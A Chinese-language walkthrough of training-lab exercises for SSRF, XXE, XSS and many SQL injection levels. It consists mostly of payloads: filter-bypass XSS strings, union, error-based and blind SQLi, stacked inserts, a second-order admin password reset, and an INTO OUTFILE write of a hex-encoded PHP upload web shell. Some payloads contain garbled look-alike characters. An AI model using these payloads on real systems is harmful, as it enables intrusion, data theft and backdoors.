SSRF漏洞靶场来到SSRF首页这应该就是file_get_content要包含的文件了 假设我们本地搭建一个1.php文件 然后包含这个文件即可 为什么不是php形式的样子,而是html的形式,因为htmlentities函数把包含进来的转换成html实体了 第二关输入端口445,账号秘密都是root,然后MySQL服务成功消失了,hh 第三关这是正常下载 我们要下载D盘下的wenjian.txt,都可以直接下载,想必只要知道文件路径,想下载就下载 第四关这里我们也是同样远程执行我们的1.php文件,同样被html化 第五关应用程序不仅实现了内部和私有范围的IP黑名单,还解决了用户提供的域到其IP,并再次执行检查,如果解决是否黑名单。 在这种情况下,基于DNS的欺骗伎俩也将无法访问托管在内部/保留IP上的内容。应用程序代码对其IP执行域解析,并再次对解析后的IP执行黑名单IP检查。 我们简单实现一下 结束 XXE漏洞靶场登录成功和登录失败的界面 代码也就是说xml文档用的是php协议发送的 假设我们要访问D盘下的1.txt文件 登录抓包,把内容修改成
Hello work就是我们1.txt的内容已经看到了 结束 XSS漏洞靶场开始我们的XSS之旅吧! 第一关 直接修改name值改成xss代码即可 第二关审计元素,看到还有个input影响我们xss弹窗,把它闭合后跟上我们xss代码即可 第三关后台用了htmlspecialchars函数把尖括号实体化了,所以我们改为不用尖括号的弹窗 ' οnmοuseοver='javascript:alert(1)即可 第四关这次把尖括号过滤了,还用了htmlspecialchars函数 第五关这次把on过滤了 我们不用on就行了' /> <a href='javascript:alert(1)'/> 点击它即可 第六关过滤了on,src,data,href等等,可以直接用大小些绕过'/><a Href='javascript:alert(1)'>a</a>// 点击它即可 第七关这次把script等换为空了 我们可以重复些绕过 '/><ScrscriptipT>alert(1)</ScriscriptPT>//< 第八关这次关键词被转换成多个下滑线的了 我们把t转换一下编码javascript:alert(1),点击友情链接即可 第九关这次链接还要有http://不然就不合法 javascript:%0dhttp://www.baidu.com%0dalert(1) r是Unicode编码,%0d是空格url编码 第十关这里有个get参数,我们在url中写上参数 ?t_sort='type='text' οnmοuseοver='alert(1) 隐藏了参数,问题不大 第十一关 看看源码,输出框好像被隐藏起来了 我们给它加上一个,审计元素,编辑HTML,会出现一个小框,点击它即可 第十二关我们看到了t_ua的值被隐藏起来了, 直接修改它的值为'type='text' οnclick='alert(1),点击那个新增的框即可 第十三关这把好像放在t_cook里面去了 审查元素找到t_cook然后把值修改成'type='text' οnclick='alert(1),点击新增的框即可 第十四关这关通过技巧很简单,看到level14.php没有我们把它修改成level15.php简单通过 Over 第十五关上面的src接口没有用, 换成https://cdn./angular.js/1.4.6/angular.min.js 它的src值我们给它赋值成src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'即可 既然它说让我们自己想办法走出去我们就调用第一关1的代码 第十六关看看源码,发现这次还过滤了空格,那我们用%0a也就是换行符代替空格 <img%0asrc='1.jpg'%0aοnerrοr='alert(1)'> 第十七关既然是输出embed标签,我们就改embed标签的值为<embed src=javascript:alert(1)>即可 第十八关和上一关一样,只不过少了下一关的链接而已,改embed标签即可 第十九关第二十关这几关好像差不多,没什么差别。 通关 XSS学习靶场第一题反射XSS直接告诉我们payload参数触发了 我们直接在url中添加上代码?payload=<script>alert(/xss/)</script> 第二题存储xss 上来就是直接弹框1 我们看看源码,看到了函数get_data_from_storage函数调用的xss 修改下,保存刷新页面,成功修改,下一题、下一题 第三关DOM型xss 可以看到我们输入的值被写进超链接去了,这里只需要闭合下就可以弹窗了 把href里的单引号闭合然后跟上我们的xss代码,然后点击我们的超链接即可弹窗 第四关local_hash 点击框就会弹出1 审查元素看看,eval执行的 通过 Sql注入靶场Sql注入练习靶场-1首先我们先安装数据信息 在sqli1目录下的sql-connections目录下的db-creds.inc的文件中填好自己的数据库账号密码 第一题源码中有个id参数带进数据库查询了,我们带进url中查询 它直接用单引号把id包裹起来就带进数据库里查询,所以我们闭合一下,构造语句即可查询出我们想要的数据看了' union select 1,database(),user() -- ' LIMIT 0,1 第二关这次id没有被单引号包裹住,所以直接构造我们的语句就可以了,不用闭合 ?id=-1 union select 1,database(),user() -- ' LIMIT 0,1 第三关 这次id加上了括号和单引号,我们也相对应加上括号和单引号即可 1') union select 1,database(),user() -- ' LIMIT 0,1 第四关看到源码还加了双引号和括号,也对应加上双引号和括号进行闭合就行了 -1') union select 1,database(),user() -- ' LIMIT 0,1 第五关我们发现不管输入id几都不会显示账号密码,加个单引号出现了错误,既然有错误那我们用报错注入' and updatexml(1,concat(0x7e,(database()),0x7e),1)-- 进行注入,爆出数据库 第六关看看源码,这次和上次就换了个双引号,所以我们也换个双引号即可 第七关源码这里使用了单引号和双括号,简单构造 一下即可 ')) and updatexml(1,concat(0x7e,(database()),0x7e),1)-- 第八关这次错误被注释了,并且加了单引号 那就是不能用报错注入了 先输入id=1有回显 输入id=100没有回显,所以我们是可以进行布尔型注入的 ' and length(database())=8-- 判断数据库长度是不是8,有回显就是了 接下来是猜字符 猜解完毕,security 第九关这次源码说了不管是不是你输入的是什么都回显You are in .....,并且加了单引号 但是我们输入' and sleep(5) -- 会发现它一直在转动5秒过后才停止,说明存在盲注 输入1' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) -- 如果它一直在转动说明表的第一个字符是s如果没有转到就不是,猜解和上一关一样 第十关这关和上一关一样,就是换了个双引号 我们也相对应换上双引号即可 1' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) -- 第十一关登录试试,这应该就是post过去的了 这是加了单引号的 然后就是登录抓包,把uname的值改成' union select database(),user()#&passwd=即可 数据库和用户都出来了 第十二关这次uname加了个括号,并把单引号改成双引号,相对应的把我们的也修改下即可 第十三关这次源码加了单引号和括号,既然会报错那我们用updatexml即可 第十四关这次源码告诉我们,没有单双引号还有报错,跟上一关差不多,稍微修改下代码即可 1admin' and updatexml(1,concat(0x7e,database(),0x7e),1)# 第十五关看看源码,登录信息,错误信息,查询前加了单引号。都这样了,那就差盲注可以用了 我们把uname修改成admin' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0)#然后放包 可以看到如果有这个字符的话就会转动了 然后依次把uname换成 admin' and if(ascii(substr(database(),2,2))=ascii('e'),sleep(5),0)# admin' and if(ascii(substr(database(),3,3))=ascii('c'),sleep(5),0)# admin' and if(ascii(substr(database(),4,4))=ascii('u'),sleep(5),0)# admin' and if(ascii(substr(database(),5,5))=ascii('r'),sleep(5),0)# admin' and if(ascii(substr(database(),6,6))=ascii('i'),sleep(5),0)# admin' and if(ascii(substr(database(),7,7))=ascii('t'),sleep(5),0)# admin' and if(ascii(substr(database(),8,8))=ascii('y'),sleep(5),0)# 第十六关看看源码,加了双引号和括号 我们把上一关的成功代码修改下即可 admin”) and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0)# 第十七关Sql语句也修改了,变成update,然后把uname进行了过滤但是passwd没有,我们可以对他进行注入,并且会报错 我们把passwd修改成admin' and updatexml(1,concat(0x7e,database(),0x7e),1)# 第十八关这次uname和passwd都进行了过滤 但是这里好像多了一条插入语句, 登录进去后发现了IP和User Agent,估计就是插进去了这两个,那我们对这其中一个进行注入即可 第十九关登录进去发现来源REFERER,看都不看源码一眼我们就知道这是来源注入 我们抓包把来源修改下 成功 第二十关登录进去看了一下,应该是cookie注入了 刷新页面抓包 把Cookie修改成uname=-admin' union select 1,user(),database()-- 第二十一关和上一关一样,这次是要把cookie进行解码再放进去查询然后加上了括号,那我们把上一关成功的代码拿去加密下 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== 登录进去然后刷新页面抓包改cookie即可 第二十二关用双引号把它闭合了再加上我们的语句即可 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj 第二十三关这关是闭合单引号就可以了 ' union select 1,2,database() ' 第二十四关这关是二次注入,我们先注册一个账号,这账号是没有过滤的,然后再修改密码,因为账号没有过滤所以修改的密码会修改到其他用户那里,导致其他用户的密码被重置。 我们先注册一个账号 账号admin'#密码123 登录进去,修改密码为123456 成功修改,现在admin用户的密码就是123456了,我们试试能不能登录 成功 第二十五关源码里的or和and过滤了,双写结合大小写绕过用Oorr代替or,AandnD代替and 第二十六关这次关键字过滤了很多,我们换一批就可以直接绕过 -1'||updatexml(1,concat('~',database(),'~'),3)||' 第二十六a关我们windows环境下面绕过空格用(但是他是()的闭合 所以只能%a0绕过 但是windowsurl编码转换不了,所以这关环境需要linux ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1 第二十七关源码这边用了单引号,加上过滤了一些关键字,我们可以用大小些绕过 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1 第二十八关这里源码需要闭合简单构造下语句即可,然后关键字还过滤了不少 -1') uniounion selectn select 1,database(),3%23 第二十九关我们把单引号闭合后面跟上%23也就是注释 第三十关 跟上一关是差不多的,只不过换了个双引号 -1' union select 1,2,database() %23 第三十一关
-1')union select 1,user(),database() -- 第三十二关这里用了addslashes函数会把我们的单引号转义导致不能闭合,但是这里设置成gbk就导致了可以宽字节注入了,%df和%5c(\)会组合出了一个運字从而让单引号逃逸出来 -1%E6' union select 1,version(),database() -- 第三十三题和这里是一样的,这里还是用上一关的代码直接过关 第三十四关源码告诉我们是POST过来的所以要抓包改包 admin%E6' union select version(),database()-- 第三十五关这里没有用单引号包裹住,所以可以直接注入不用闭合 -1 union select 1,version(),database()-- 如题,为什么要关注addslashes呢,没有用单引号包裹住的sql语句用了addslashes也没用 addslashes只转义单引号、双引号、斜杠、NULL 第三十六关这关好像也是宽字节注入,所以直接构造语句即可 第三十七关没有差别的题目,是POST的过来的那我们就改POST包 admin%E6' union select version(),database()-- 第三十八关这是一题堆叠注入,就是在我们执行完sql语句之后在sql语句分号(;)后面接上我们的语句 -1' union select 1,database(),3;insert into users values(19,'sql','sql')%23 查询完之后再插入我们的SQL语句 可以看到我们的sql语句已经成功插进去了 第三十九关这关同理,我们只要修改分后后面的语句即可前面直接分号结束 第四十关这里只是把id加了单引号和括号我们相对应闭合掉即可 1');insert into users values(21,'sqli','sqli')%23 第四十一关嗯,换了条sql语句啊,相对应也换 1;insert into users values(22,'sqli','sqli')%23 第四十二关可以看到password是没有用mysqli_real_escape_string函数进行过滤的,那我们登录然后相对应的抓包修改password包即可 1’;insert into users values(23,'sqli','sqli')%23 第四十三关一样的套路,只是password加多了个括号,相对应的加上 1’);insert into users values(24,'sqli','sqli')%23 第四十四关1';insert into users values(25,'sqli','sqli')%23 提交上去是没有显示的,我们可以在数据里查找 第四十五关加了个括号,懂的 1’);insert into users values(24,'sqli','sqli')%23 第四十六关这关好像有点不一样了吧,开始用ORDER BY结束语句了,Url要换成sort 视觉感觉不一样了啊,语句还是差不多的 1 and updatexml (1, concat(0x7e,database()) ,1) 第四十七关源码里面多了个单引号,闭合它,再把后面的语句注释掉即可 1' and updatexml (1, concat(0x7e,database()) ,1)-- 第四十八关这关没有了错误提示,所以不能用报错注入了,但可以用布尔型盲注 1 and if(length(database())=8 ,1,sleep(5))-- 错误的时候它会转到 正确的时候它不会转动 第四十九关这里只是把id用单引号包裹住了,相对应闭合它 1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1 转动了就说明第一个字符是s对应ascii码是115 这次就没有转动,113对应的ascii码是q 第五十关这次是数字型 ?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) ?sort=1 and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null) 第五十一关单引号闭合即可 ?sort=1' and (ascii(substr((select database()) ,1,1))) = 113 and if(1=1, sleep(1), null) and '1'='1 ?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1 第五十二关咋感觉又回到了之前的关卡呢 ?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) 第五十三关sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1 第五十四关就是对输入的次数做了限制,需要在十次之内获取信息,否则就会刷新表名列名等信息。 开始了,首先是数据库名称 ?id=-1' union select 1,database(),user()-- 然后是表名?id=-1' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573-- 接着就是列名,url中table_name后面跟着的是刚刚爆出来的表名 ?id=-1' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name =8uhf5h9f3k-- 最后取出数据,把group_concat换成直接爆出来的列名后面也要换成表名即可 -1' union select 1,group_concat(secret_SJ8O),group_concat(sessid) from challenges.8uhf5h9f3k 最后把爆出来的一串东西提交上去 第五十五关数据格式变成id=(1),其他都是一样的 数据库:?id=-1) union select 1,database(),user()-- 表:?id=-1) union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573-- 列?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='d09q4gshxt' -- -1) union select 1,group_concat(secret_LUTR),group_concat(sessid) from challenges.d09q4gshxt-- 成功 第五十六这次id变成括号加单引号了 -1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' -- 按照顺序进行即可 第五十七关没猜错的话按照顺利这次就是双引号了,其他不变 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' -- 按照顺序啊 第五十八关 这关好像不能用union联合注入,那我们用报错注入,并且错误次数只有五次了,错误次数超过五次就会刷新 爆表:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)-- 爆列:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='hpk0klwybw' )),1)-- 爆值:?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_MTR4) from challenges.hpk0klwybw)),1)-- 输入进去即可 五十九关这关id没有被单引号或括号包裹 ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)-- 接下来就是顺序了,嗯~ 第六十关Id被双引号和括号包裹了,上闭合 ?id=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)-- 下一关。。 第六十一关这次双括号加单引号0.0 表:?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)-- ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='zy3odcjijx' ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_6C64) from challenges.zy3odcjijx)),1)-- 输入进去即可 第六十二关这关是盲注 key是24位由大小写字母和数字随机组成的值,这里建议大家用脚本把值跑出来 第六十三关这关跟上一关一样,的唯一区别在于需要使用单引号闭合 不再赘述! 第六十四关这关跟上一关一样,的唯一区别在于需要使用括号闭合 不再赘述! 第六十五关这几关性质都一样,只不过闭合语句不同,不再赘述 Sql注入练习靶场2直接开始注册页面好像没过滤,那直接注入吧 admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)or' 下一关看看login1.php 源码这里看到直接传进来没有任何过滤 直接构造语句插进Username里就可以 admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)# 爆出数据库 接着继续看看login2.php这里同意是没有任何过滤就带进数据库查询了,只是加了个括号 admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)# 下一关Searchproducts.php 搜索下p,可以看到这不就是模糊查询嘛 有报错的话,我们就用爆错注入 p’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 下一关这关注册的时候没有过滤好,让单引号进数据库了,后面从数据库查询的时候单引号就会引起作用 admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)or' 下一关好像是我们上一关的注入啊,路过 下一关错误被注释了,但是有回显 正常页面 错误页面 可以用布尔型盲注' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) -- 判断数据库第一个字母是不是s如果是沉睡5秒,不是的话就不刷新 ' and if(ascii(substr(database(),1,1))=ascii('a'),sleep(5),0) -- 说明数据库第一关字母不是a 下一关可以用来与操作系统进行交互,包括读取和写入文件等任务。 虽然我们可以用报错注入直接注入,但是这不符合题意,那我们就导入文件吧 admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)-- 代码如下 -admin' OR 4212=4212 LIMIT 0,1 INTO OUTFILE 'D:/phpstudy_pro/WWW/www./sqli2/1.php' LINES TERMINATED BY 0x3c3f706870696628697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b69662870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f2246696c6575706c6f61646564223b7d656c73657b6563686f223c666f726d616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e226d6574686f643d504f5354656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e707574747970653d68696464656e6e616d653d4d41585f46494c455f53495a4576616c75653d313030303030303030303e3c623e66696c6575706c6f616465723c2f623e3c62723e3c696e7075746e616d653d66696c65747970653d66696c653e3c62723e746f6469726563746f72793a3c696e707574747970653d746578746e616d653d75706c6f616444697276616c75653d443a70687073747564795f70726f5757577777772e746573742e636f6d73716c69323e3c696e707574747970653d7375626d69746e616d653d75706c6f616476616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e-- 成功导出shell 通过 Sql注入练习靶场3首先看到的是登录页面,应该是有注入的了看看源码 没有过滤,这里username是被单引号包裹注的,要闭合 ‘or 1 = 1#直接进行登录即可, 登录成功 然后就是搜索这里也有注入 Stockholm' and updatexml (1, concat(0x7e,database()) ,1)-- ' 然后源码里面好像还有个安全的源码一模一样的功能 源码里面查询的时候是用pdo绑定参数实现的 结束了 |
|
来自: 小灰灰i58u7w06 > 《漏洞利用文章》